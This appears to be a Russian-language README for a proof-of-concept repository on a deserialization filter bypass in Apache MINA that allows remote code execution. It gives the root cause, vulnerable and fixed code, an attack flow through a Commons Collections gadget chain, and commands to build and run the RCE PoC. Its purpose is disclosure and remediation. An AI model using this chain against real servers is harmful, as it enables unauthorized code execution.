
Доказательство концепции, демонстрирующее обход фильтра десериализации в Apache MINA, приводящий к удалённому выполнению кода, с подробным анализом первопричины, эксплойтами PoC и рекомендациями по устранению уязвимости.
CVSS 3.1: 9.8 КРИТИЧЕСКИЙ AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-502 Десериализация недоверенных данных
Автор отчёта: Venkatraman Kumar, Securin
Консультация: Список рассылки Apache
Версии Apache MINA 2.1.0–2.1.11 и 2.2.0–2.2.6 содержат обход фильтра десериализации в AbstractIoBuffer.resolveClass(). Белый список acceptMatchers — предназначенный для ограничения того, какие классы Java могут быть десериализованы — полностью пропускается, когда ObjectStreamClass.forClass() возвращает null.
Злоумышленник, имеющий сетевой доступ к конечной точке MINA, использующей ObjectSerializationCodecFactory, может сформировать полезную нагрузку протокола, которая обходит фильтр классов, что обеспечивает через стандартные цепочки гаджетов десериализации Java (например, Commons Collections).
Это неполное исправление для CVE-2026-41635. Оригинальный патч был применён к ветке 2.0.x, но так и не был перенесён в 2.1.x или 2.2.x из-за ошибки при слиянии.
| Ветка | Уязвимые | Исправленные |
|---|---|---|
| 2.1.x | 2.1.0 – 2.1.11 | 2.1.12 |
| 2.2.x | 2.2.0 – 2.2.6 | 2.2.7 |
Уязвимость находится в AbstractIoBuffer.resolveClass(), который обрабатывает разрешение классов во время десериализации объектов Java.
MINA использует собственный протокол сериализации с двумя типами дескрипторов классов:
В уязвимом коде фильтр acceptMatchers проверяется только в ветке типа 1 (когда forClass() возвращает не-null). Ветка типа 0 вызывает Class.forName() напрямую, полностью обходя фильтр:
// AbstractIoBuffer.java — УЯЗВИМЫЙ (2.2.6)
protected Class<?> resolveClass(ObjectStreamClass desc) {
Class<?> clazz = desc.forClass();
if (clazz == null) {
// ОШИБКА: проверка acceptMatchers отсутствует — фильтр полностью обойдён
return Class.forName(name, false, classLoader);
} else {
// Фильтр применяется только здесь
for (ClassNameMatcher matcher : acceptMatchers) { ... }
}
}
Исправление в 2.2.7 перемещает проверку фильтра перед ветвлением:
// AbstractIoBuffer.java — ИСПРАВЛЕННЫЙ (2.2.7)
protected Class<?> resolveClass(ObjectStreamClass desc) {
String className = desc.getName();
// Фильтр применяется СНАЧАЛА, независимо от результата forClass()
if (!acceptMatchers.stream().anyMatch(m -> m.matches(className))) {
throw new ClassNotFoundException("Class not in accept list " + className);
}
Class<?> clazz = desc.forClass();
// ... далее безопасное разрешение
}
Злоумышленник Уязвимый сервер MINA
| |
| 1. Формирует полезную нагрузку MINA с |
| дескрипторами типа 0 для классов |
| цепочки гаджетов |
| |
| 2. Отправляет на конечную точку, |
| использующую |
| ObjectSerializationCodecFactory -------->|
| |
| 3. readClassDescriptor() читает тип 0|
| → делегирует в super (стандартная Java)
| |
| 4. resolveClass() видит forClass()==null
| → Class.forName() БЕЗ фильтра |
| |
| 5. Цепочка гаджетов полностью |
| десериализована |
| → readObject() запускает цепочку |
| → Runtime.exec() срабатывает |
| |
| RCE ДОСТИГНУТ |
IoBuffer.getObject() или ObjectSerializationCodecFactoryaccept() (приложения без фильтра уже были эксплуатируемы через CVE-2026-41635)Злоумышленник контролирует сериализованный поток байтов. Используя дескрипторы классов типа 0 (вместо типа 1) для сериализуемых классов цепочек гаджетов, каждый класс в графе десериализации обходит фильтр acceptMatchers, независимо от конфигурации белого списка приложения.
Три PoC демонстрируют возрастающее воздействие:
| PoC | Что доказывает |
|---|---|
FilterBypassPoC.java | Обход фильтра для примитивов, несериализуемых классов, массивов |
CraftedBypassPoC.java | Сформированные злоумышленником полезные нагрузки типа 0 обходят фильтр для ЛЮБОГО сериализуемого класса |
RcePoC.java | Полный RCE через цепочку гаджетов CC6 с обходом фильтра |
Классы, отсутствующие в списке accept, десериализуются без ограничений:

Злоумышленник формирует полезные нагрузки протокола MINA с дескрипторами типа 0 для загрузки любого класса в обход списка accept, содержащего только String:

Вариант цепочки гаджетов CC6 (HashSet → TiedMapEntry → LazyMap → ChainedTransformer → Runtime.exec()) обеспечивает выполнение команд через обход фильтра:

Те же тесты блокируются на исправленной версии:

Цепочка гаджетов отклоняется фильтром:

Самый быстрый способ тестирования — без JDK или Maven:
# Клонировать этот репозиторий
git clone https://github.com/dinosn/CVE-2026-42779.git
cd CVE-2026-42779
# Собрать и запустить все PoC
docker build -t cve-2026-42779 .
docker run --rm cve-2026-42779
# Запустить отдельные PoC
docker run --rm cve-2026-42779 bypass # Только обход фильтра
docker run --rm cve-2026-42779 crafted # Обход сформированной полезной нагрузкой
docker run --rm cve-2026-42779 rce # Полный RCE
# Войти в оболочку для изучения
docker run --rm -it cve-2026-42779 shell
Образ включает уязвимый JAR MINA 2.2.6, Commons Collections 3.2.2 и все три предварительно скомпилированных PoC. Всё работает автономно внутри контейнера.
Если вы предпочитаете сборку из исходников:
# Клонировать и собрать уязвимую версию
git clone https://github.com/apache/mina.git /tmp/apache-mina
cd /tmp/apache-mina
git checkout 2.2.6
mvn install -pl mina-core -DskipTests -q
# Скачать commons-collections (для PoC RCE)
curl -sL "https://repo1.maven.org/maven2/commons-collections/commons-collections/3.2.2/commons-collections-3.2.2.jar" \
-o commons-collections-3.2.2.jar
# Скомпилировать PoC
javac -cp mina-core/target/mina-core-2.2.6.jar FilterBypassPoC.java
javac -cp mina-core/target/mina-core-2.2.6.jar CraftedBypassPoC.java
javac -cp mina-core/target/mina-core-2.2.6.jar:commons-collections-3.2.2.jar RcePoC.java
# Запустить PoC обхода фильтра
java -cp .:mina-core/target/mina-core-2.2.6.jar FilterBypassPoC
# Запустить PoC сформированной полезной нагрузки
java -cp .:mina-core/target/mina-core-2.2.6.jar CraftedBypassPoC
# Запустить полный PoC RCE
java -Dorg.apache.commons.collections.enableUnsafeSerialization=true \
--add-opens java.base/java.util=ALL-UNNAMED \
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
-cp .:mina-core/target/mina-core-2.2.6.jar:commons-collections-3.2.2.jar \
RcePoC
Или используйте прилагаемый Makefile:
make run-all # Собрать и запустить все три PoC
make run-rce # Только PoC RCE
Требования: JDK 11+ и Maven (для сборки из исходников) или Docker (для контейнера)
Обновитесь до Apache MINA 2.1.12 или 2.2.7.
Если немедленное обновление невозможно:
IoBuffer.getObject() или ObjectSerializationCodecFactory с недоверенными входными данными| Дата | Событие |
|---|---|
| 2026-05-01 | Консультация опубликована PMC Apache MINA |
| 2026-05-01 | Выпущены исправленные версии 2.1.12 и 2.2.7 |
| 2026-05-02 | Разработан и протестирован данный PoC |
Данное доказательство концепции предоставлено только для защитных исследований безопасности, обучения и авторизованного тестирования на проникновение. Используйте ответственно и только против систем, на тестирование которых у вас есть разрешение.